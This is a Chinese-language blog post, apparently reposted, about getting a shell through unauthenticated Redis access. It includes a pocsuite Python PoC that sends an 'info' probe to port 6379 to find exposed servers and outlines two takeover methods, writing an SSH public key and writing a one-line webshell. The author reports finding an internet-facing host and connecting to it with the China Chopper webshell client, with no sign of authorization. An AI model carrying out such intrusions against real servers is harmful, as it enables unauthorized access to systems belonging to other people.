redis未授權訪問getshell


redis未授權訪問的問題一年前就爆了,當時剛開始學安全,還不太懂。今天借着工作的機會來搞一把,看看能不能拿下一台服務器。其實前幾天就寫好了一直想找個實際環境復現一下,一直沒有找到,只說下大致思路。

首先redis未授權的漏洞有幾個先決條件,自己搭建漏洞環境的話需要在配置文件redis.conf中修改

1、允許其他網段連接

2、關閉protected-mode

漏洞的發現可以批量跑POC,大概原理就是通過sock發帶有info的payload給目標服務器,然后看返回的信息中有沒有關鍵字。這里懶得寫了,放一個網上找的pocsuite版的:

 1 #!/usr/bin/env python
 2 # -*- coding:utf-8 -*-
 3 
 4 import socket
 5 import urlparse
 6 from pocsuite.poc import POCBase, Output
 7 from pocsuite.utils import register
 8 
 9 
10 class TestPOC(POCBase):
11     vulID = '89339'
12     version = '1'
13     author = ['Anonymous']
14     vulDate = '2015-10-26'
15     createDate = '2015-10-26'
16     updateDate = '2015-10-26'
17     references = ['http://sebug.net/vuldb/ssvid-89339']
18     name = 'Redis 未授權訪問 PoC'
19     appPowerLink = 'http://redis.io/'
20     appName = 'Redis'
21     appVersion = 'All'
22     vulType = 'Unauthorized access'
23     desc = '''
24         redis 默認不需要密碼即可訪問,黑客直接訪問即可獲取數據庫中所有信息,造成嚴重的信息泄露。
25     '''
26     samples = ['']
27 
28     def _verify(self):
29         result = {}
30         payload = '\x0d\x0a\x69\x6e\x66\x6f\x0d\x0a'
31         s = socket.socket()
32         socket.setdefaulttimeout(10)
33         try:
34             host = urlparse.urlparse(self.url).netloc
35             port = 6379
36             s.connect((host, port))
37             s.send(payload)
38             recvdata = s.recv(1024)
39             if recvdata and 'redis_version' in recvdata:
40                 result['VerifyInfo'] = {}
41                 result['VerifyInfo']['URL'] = self.url
42                 result['VerifyInfo']['Port'] = port
43         except:
44             pass
45         s.close()
46         return self.parse_attack(result)
47 
48     def _attack(self):
49         return self._verify()
50 
51     def parse_attack(self, result):
52         output = Output(self)
53         if result:
54             output.success(result)
55         else:
56             output.fail('Internet nothing returned')
57         return output
58 
59 register(TestPOC)

實際測試時發現這么一台外網主機存在此問題

下面嘗試getshell,通常的方法有如下幾種:

1、寫公鑰

首先在本地生產公私鑰文件:

 $ssh-keygen –t rsa 

然后將公鑰寫入文件

$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > eval.txt

再連接Redis寫入文件,這里很不幸,連接后設置redis路徑時提示了permission denied,看來不是root權限,這種方法的嘗試失敗

2、傳webshell

用nmap掃出來開放了http80端口,看看是否能夠寫入一句話

菜刀是可以連接的

 -done


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM